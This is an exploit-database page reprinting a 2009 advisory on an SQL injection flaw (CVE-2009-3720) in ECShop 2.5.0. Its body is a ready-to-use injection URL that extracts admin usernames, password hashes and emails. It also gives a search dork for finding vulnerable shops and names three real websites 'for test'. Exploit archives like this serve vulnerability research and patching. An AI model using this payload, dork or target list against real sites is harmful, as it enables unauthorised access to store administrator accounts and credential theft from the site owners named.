Advertisement






ECShop 2.5.0 (order_sn) Remote SQL Injection Vulnerability

CVE Category Price Severity
CVE-2009-3720 CWE-89 Not specified Unknown
Author Risk Exploitation Type Date
Unknown High Remote 2009-05-19
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N 0.62577 0.902

CVSS vector description

Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2009050150

Below is a copy:

######################### Securitylab.ir ########################
# Application Info:
# Name: ECSHOP
# Version: 2.5.0
# Website: http://www.ecshop.com
#################################################################
# Discoverd By: Securitylab.ir
# Website: http://securitylab.ir
# Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir
#################################################################
# Vulnerability Info:
# Type: Sql Injection
# Risk: High
# Dork: "Powered by ECShop v2.5.0"
#===========================================================
# http://site.com/user.php?act=order_query&order_sn=' union select 1,2,3,4,5,6,concat(user_name,0x7c,password,0x7c,email),8 from ecs_admin_user/*
#===========================================================
#################################################################
# For test:
# http://www.lobang99.com/store
# http://www.amteore.com
# http://www.vostart.com/web/eng
#################################################################
# Securitylab Security Research Team
###################################################################



Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.